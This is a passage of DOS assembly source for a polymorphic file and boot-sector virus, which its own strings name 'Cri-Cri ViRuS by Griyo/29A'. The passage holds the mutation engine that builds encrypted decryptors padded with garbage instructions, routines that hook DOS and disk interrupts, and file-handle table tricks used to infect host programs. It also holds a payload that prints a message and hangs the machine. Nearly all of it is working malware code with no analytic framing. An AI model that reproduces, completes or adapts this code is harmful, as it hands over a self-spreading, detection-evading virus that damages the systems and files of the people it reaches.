rol ch,cl mov ax,0FD03h sub ah,ch stosw ret ;----------------------------------------------------------------------------- ;Decrypt one byte from encrypted data ;----------------------------------------------------------------------------- inst_decrypt_one: ;Decode a mov reg,byte ptr cs:[key][bp] mov al,byte ptr cs:[address_seg_1] mov ah,8Ah stosw mov al,byte ptr cs:[decrypt_register] or al,86h stosb ;Store position of encryption key mov ax,offset clave_crypt stosw ;Decode a xor byte ptr cs:[si],reg mov al,byte ptr cs:[address_seg_2] mov ah,30h stosw mov al,byte ptr cs:[decrypt_register] or al,05h sub al,byte ptr cs:[address_register] stosb ret ;----------------------------------------------------------------------------- ;Increment pointer to encrypted zone ;----------------------------------------------------------------------------- inst_inc_pointer: mov al,47h sub al,byte ptr cs:[address_register] stosb ret ;----------------------------------------------------------------------------- ;Decrement counter and loop ;----------------------------------------------------------------------------- inst_dec_loop: ;Decode a dec reg instruction mov al,4Eh add al,byte ptr cs:[address_register] stosb ;Decode a jz mov al,74h stosb push di inc di ;Generate some garbage instructions call rnd_garbage ;Decode a jmp to loop instruction mov al,0E9h stosb mov ax,word ptr cs:[address_loop] sub ax,di dec ax dec ax stosw ;Generate some garbage instructions call rnd_garbage ;Store jz displacement mov ax,di pop di push ax sub ax,di dec ax stosb pop di ret ;----------------------------------------------------------------------------- ;Generate some garbage instructions if rnd ;----------------------------------------------------------------------------- rnd_garbage: call get_rnd and al,01h jz do_rnd_garbage ret do_rnd_garbage: call g_generator ret ;----------------------------------------------------------------------------- ;Generate a push reg and garbage and pop reg ;----------------------------------------------------------------------------- do_push_g_pop: ;Build a random push pop call do_push_pop ;Get pop instruction dec di mov al,byte ptr cs:[di+00h] push ax call g_generator pop ax stosb ret ;----------------------------------------------------------------------------- ;Generate a subroutine witch contains garbage code. ;----------------------------------------------------------------------------- do_subroutine: cmp word ptr cs:[last_subroutine],0000h je create_routine ret create_routine: ;Generate a jump instruction mov al,0E9h stosb ;Save address for jump construction push di ;Save address of subroutine mov word ptr cs:[last_subroutine],di ;Get subroutine address inc di inc di ;Generate some garbage code call g_generator ;Insert ret instruction mov al,0C3h stosb ;Store jump displacement mov ax,di pop di push ax sub ax,di dec ax dec ax stosw pop di ret ;----------------------------------------------------------------------------- ;Generate a subroutine witch contains one decryptor instruction ;----------------------------------------------------------------------------- sub_decryptor: cmp word ptr cs:[decrypt_sub],0000h je ok_subroutine ret ok_subroutine: ;Do not generate the loop branch into a subroutine mov bl,byte ptr cs:[decrypt_pointer] inc bl cmp bl,05h jne no_loop_sub ret no_loop_sub: ;Generate a jump instruction mov al,0E9h stosb ;Save address for jump construction push di ;Save address of subroutine mov word ptr cs:[decrypt_sub],di inc di inc di push bx call rnd_garbage pop bx call entry_from_sub call rnd_garbage build_return: ;Insert ret instruction mov al,0C3h stosb ;Store jump displacement mov ax,di pop di push ax sub ax,di dec ax dec ax stosw pop di ret ;----------------------------------------------------------------------------- ;Generate a call instruction to a subroutine witch contains ;next decryptor instruction ;----------------------------------------------------------------------------- do_call_decryptor: cmp byte ptr cs:[decrypt_pointer],03h jne no_store_call ;Save position mov word ptr cs:[address_loop],di no_store_call: ;Build a call to our subroutine mov al,0E8h stosb mov ax,word ptr cs:[decrypt_sub] sub ax,di stosw ;Do not use this subrotine again mov word ptr cs:[decrypt_sub],0000h ret ;----------------------------------------------------------------------------- ;Generate a call instruction to a subroutine witch some garbage code ;----------------------------------------------------------------------------- do_call_garbage: mov cx,word ptr cs:[last_subroutine] ;Check if there is a subroutine to call or cx,cx jnz ok_call ;No, so exit ret ok_call: ;Build a call to our garbage subroutine mov al,0E8h stosb mov ax,cx sub ax,di stosw ;Do not use this subrotine again mov word ptr cs:[last_subroutine],0000h ret ;----------------------------------------------------------------------------- ;Generate a branch followed by some garbage code ;----------------------------------------------------------------------------- do_branch: ;Generate a random conditional jump instruction call get_rnd and al,07h or al,70h stosb ;Save address for jump construction push di ;Get subroutine address inc di ;Generate some garbage code call g_generator ;Store jump displacement mov ax,di pop di push ax sub ax,di dec ax stosb pop di ret ;----------------------------------------------------------------------------- ;Lay down between 2 and 5 filler opcodes selected from the available ;types ;----------------------------------------------------------------------------- g_generator: ;Get a random number for fill count call get_rnd and ax,03h ;Min 2, max 5 opcodes inc ax inc ax next_fill: push ax new_fill: ;Select the type of filler mov ax,(end_op_table-op_table)/2 call rand_in_range ;Avoid same types in a row cmp ax,word ptr cs:[last_fill_type] je new_fill mov word ptr cs:[last_fill_type],ax add ax,ax mov bx,ax call word ptr cs:[op_table+bx] pop ax dec ax jnz next_fill ret ;----------------------------------------------------------------------------- ;Makes an opcode of type mov reg,immediate value ;either 8 or 16 bit value ;but never ax or al or sp,di,si or bp ;----------------------------------------------------------------------------- move_imm: call get_rnd ;Get a reggie and al,0Fh ;Make it a mov reg, or al,0B0h test al,00001000b jz is_8bit_mov ;Make it ax,bx cx or dx and al,11111011b mov ah,al and ah,03h ;Not ax or al jz move_imm stosb call rand_16 stosw ret is_8bit_mov: mov bh,al ;Is al? and bh,07h ;Yeah bomb jz move_imm stosb call get_rnd stosb ret ;----------------------------------------------------------------------------- ;Now we knock boots with mov reg,reg's ;but never to al or ax. ;----------------------------------------------------------------------------- move_with_reg: call rand_16 ;Preserve reggies and 8/16 bit and ax,0011111100000001b ;Or it with addr mode and make it mov or ax,1100000010001010b reg_test: test al,1 jz is_8bit_move_with_reg ;Make source and dest = ax,bx,cx,dx and ah,11011011b is_8bit_move_with_reg: mov bl,ah and bl,00111000b ;No mov ax, 's please jz move_with_reg ;Let's see if 2 reggies are same reggies. mov bh,ah sal bh,1 sal bh,1 sal bh,1 and bh,00111000b ;Check if reg,reg are same cmp bh,bl jz move_with_reg stosw ret ;----------------------------------------------------------------------------- ;Modify a mov reg,reg into an xchg reg,reg ;----------------------------------------------------------------------------- reg_exchange: ;Make a mov reg,reg call move_with_reg ;But then remove it dec di ;And take advantage of the fact the opcode is still in ax dec di ;Was a 16 bit type? test al,1b ;Yeah go for an 8 bitter jnz reg_exchange mov bh,ah ;Is one of reggies ax? and bh,07h ;Yah so bomb jz reg_exchange ;Else make it xchg ah,dl etc... mov al,10000110b stosw ret ;----------------------------------------------------------------------------- ;We don't have to watch our stack if we pair up pushes with pops ;so I slapped together this peice of shoddy work to add em. ;----------------------------------------------------------------------------- do_push_pop: mov ax,(end_bytes_2-bytes_2)/2 call rand_in_range add ax,ax mov bx,ax ;Generate push and pop instruction mov ax,word ptr cs:[bytes_2+bx] stosw ret ;----------------------------------------------------------------------------- ;Generate a random int 21h call. ;----------------------------------------------------------------------------- do_int_21h: ;Do not generate int 21h calls into boot sectore decryptor cmp byte ptr cs:[prog_type],"B" je no_generate_int ;Do not generate int 21h calls into decryption loop cmp byte ptr cs:[decrypt_pointer],02h jb no_in_loop no_generate_int: ret no_in_loop: call get_rnd ;Choose within ah,function or ax,function+subfunction and al,01h jz do_int_ax do_int_ah: mov ax,end_ah_table-ah_table call rand_in_range mov bx,ax mov ah,byte ptr cs:[ah_table+bx] ;Do not generate same int's in a row cmp ah,byte ptr cs:[last_int_type] jz do_int_ah ;Generate mov ah,function mov byte ptr cs:[last_int_type],ah mov al,0B4h stosw ;Generate int 21h mov ax,021CDh stosw ret do_int_ax: mov ax,(end_ax_table-ax_table)/2 call rand_in_range add ax,ax mov bx,ax mov ax,word ptr cs:[ax_table+bx] ;Do not generate same int's in a row cmp ah,byte ptr cs:[last_int_type] jz do_int_ax mov byte ptr cs:[last_int_type],ah ;Generate mov ax,function mov byte ptr es:[di+00h],0B8h inc di stosw ;Generate int 21h mov ax,021CDh stosw ret ;----------------------------------------------------------------------------- ;Simple timer based random numbers but with a twist using xor of last one. ;----------------------------------------------------------------------------- get_rnd: in ax,40h xor ax, 0FFFFh org $-2 Randomize dw 0000h mov [Randomize],ax ret ;----------------------------------------------------------------------------- ;A small variation to compensate for lack of randomocity in the ;high byte of 16 bit result returned by get_rnd. ;----------------------------------------------------------------------------- rand_16: call get_rnd mov bl,al call get_rnd mov ah,bl ret ;----------------------------------------------------------------------------- ;Generate a random number betwin 0 and ax. ;----------------------------------------------------------------------------- rand_in_range: ;Returns a random num between 0 and entry ax push bx push dx xchg ax,bx call get_rnd xor dx,dx div bx ;Remainder in dx xchg ax,dx pop dx pop bx ret ;---------------------------------------------------------------------------- ;Return the al vector in es:bx ;---------------------------------------------------------------------------- get_int: push ax xor ah,ah rol ax,1 rol ax,1 xchg bx,ax xor ax,ax mov es,ax les bx,dword ptr es:[bx+00h] pop ax ret ;---------------------------------------------------------------------------- ;Set al interrupt vector to ds:dx pointer ;---------------------------------------------------------------------------- set_int: push ax push bx push ds cli xor ah,ah rol ax,1 rol ax,1 xchg ax,bx push ds xor ax,ax mov ds,ax mov word ptr ds:[bx+00h],dx pop word ptr ds:[bx+02h] sti pop ds pop bx pop ax ret ;---------------------------------------------------------------------------- ;Print message to screen ;---------------------------------------------------------------------------- print_credits: ;Set VGA video mode 03h push bp mov ax,0003h int 10h ;Print string mov ax,1301h mov bx,0002h mov cx,003Ah mov dx,0A0Bh push cs pop es pop bp add bp,offset text_birthday int 10h exit_print: ;Infinite loop jmp exit_print ;---------------------------------------------------------------------------- ;Get sft address in es:di ;---------------------------------------------------------------------------- get_sft: ;File handle in bx push bx ;Get job file table entry to es:di mov ax,1220h int 2Fh jc error_sft ;Exit if handle not opened xor bx,bx mov bl,byte ptr es:[di+00h] cmp bl,0FFh je error_sft ;Get address of sft entry number bx to es:di mov ax,1216h int 2Fh jc error_sft pop bx stc cmc ret ;Exit with error error_sft: pop bx stc ret ;---------------------------------------------------------------------------- ;Seek to end of file ;---------------------------------------------------------------------------- seek_end: call get_sft mov ax,word ptr es:[di+11h] mov dx,word ptr es:[di+13h] mov word ptr es:[di+17h],dx mov word ptr es:[di+15h],ax ret ;---------------------------------------------------------------------------- ;Seek to beginning ;---------------------------------------------------------------------------- seek_begin: call get_sft xor ax,ax mov word ptr es:[di+17h],ax mov word ptr es:[di+15h],ax ret ;---------------------------------------------------------------------------- ;Virus CRITICAL ERROR interrupt handler ;---------------------------------------------------------------------------- my_int24h: sti ;Return error in function mov al,3 iret ;---------------------------------------------------------------------------- ;Save all registers in the stack ;---------------------------------------------------------------------------- push_all: cli pop cs:[ret_off] pushf push ax push bx push cx push dx push bp push si push di push es push ds push cs:[ret_off] sti ret ;---------------------------------------------------------------------------- ;Restore all registers from the stack ;---------------------------------------------------------------------------- pop_all: cli pop cs:[ret_off] pop ds pop es pop di pop si pop bp pop dx pop cx pop bx pop ax popf push cs:[ret_off] sti ret ;---------------------------------------------------------------------------- ;Clear some registers before returning to host ;---------------------------------------------------------------------------- zero_all: xor ax,ax xor bx,bx xor cx,cx xor dx,dx xor di,di xor si,si xor bp,bp ret ;---------------------------------------------------------------------------- ;Unhook int 03h and int 24h and clear dos infection switch ;---------------------------------------------------------------------------- unhook_ints: push ds push dx push ax mov byte ptr cs:[running_sw],"R" lds dx,dword ptr cs:[old03h] mov al,03h call set_int lds dx,dword ptr cs:[old24h] mov al,24h call set_int pop ax pop dx pop ds ret ;---------------------------------------------------------------------------- ;Get position of code inserted into boot sector ;---------------------------------------------------------------------------- get_position: mov ah,0 mov al,byte ptr es:[bx+01h] inc ax inc ax mov di,bx add di,ax ret ;---------------------------------------------------------------------------- ;Make a copy of file header ;---------------------------------------------------------------------------- copy_header: ;Copy header to buffer call push_all push cs pop es mov si,offset file_buffer mov di,offset old_header mov cx,0019h cld rep movsb call pop_all ret ;---------------------------------------------------------------------------- ;Polymorphic generator data buffer ;---------------------------------------------------------------------------- ah_table: ;This table contains the int 21h garbage functions db 00Bh ;Read entry state db 019h ;Get current drive db 02Ah ;Get current date db 02Ch ;Get current time db 030h ;Get dos version number db 062h ;Get psp address end_ah_table: ax_table: dw 3300h ;Get break-flag dw 3700h ;Get line-command separator dw 5800h ;Get mem concept dw 5802h ;Get umb insert dw 6501h ;Get code-page end_ax_table: ;Push and pop pairs bytes_2: push ax pop dx push ax pop bx push ax pop cx push bx pop dx push bx pop cx push cx pop bx push cx pop dx end_bytes_2: ;Steps table step_table: dw offset do_subroutine dw offset do_call_garbage dw offset g_generator dw offset do_branch dw offset sub_decryptor dw offset next_decryptor dw offset do_push_g_pop end_step_table: instruction_table: dw offset inst_get_delta dw offset inst_load_counter dw offset inst_load_pointer dw offset inst_decrypt_one dw offset inst_inc_pointer dw offset inst_dec_loop end_inst_table: ;Address of every op-code generator op_table: dw offset move_with_reg dw offset move_imm dw offset reg_exchange dw offset do_push_pop dw do_int_21h end_op_table: ;Misc data last_fill_type dw 0 last_int_type db 0 last_step_type dw 0000h last_subroutine dw 0000h decrypt_sub dw 0000h address_loop dw 0000h decrypt_pointer db 00h address_register db 00h decrypt_register db 00h address_seg_1 db 00h address_seg_2 db 00h ;---------------------------------------------------------------------------- ;Virus data buffer ;---------------------------------------------------------------------------- old21h equ this dword old21h_off dw 0000h old21h_seg dw 0000h org21h equ this dword org21h_off dw 0000h org21h_seg dw 0000h old13h equ this dword old13h_off dw 0000h old13h_seg dw 0000h old24h equ this dword old24h_off dw 0000h old24h_seg dw 0000h old03h equ this dword old03h_off dw 0000h old03h_seg dw 0000h read_ptr equ this dword read_off dw 0000h read_seg dw 0000h dos_flag db 00h prog_type db "C" running_sw db "R" stealth_sw db 00h dos_function dw 0000h ret_off dw 0000h today db 00h file_offset dw 0000h ;---------------------------------------------------------------------------- text_birthday db "Cri-Cri ViRuS by Griyo/29A" db " ...Tried, tested, not approved." ;---------------------------------------------------------------------------- file_buffer db 19h dup (00h) old_header db 19h dup (00h) clave_crypt db 00h ;---------------------------------------------------------------------------- ;Buffer for working area virus_copy db 00h ;---------------------------------------------------------------------------- com ends end virus_entry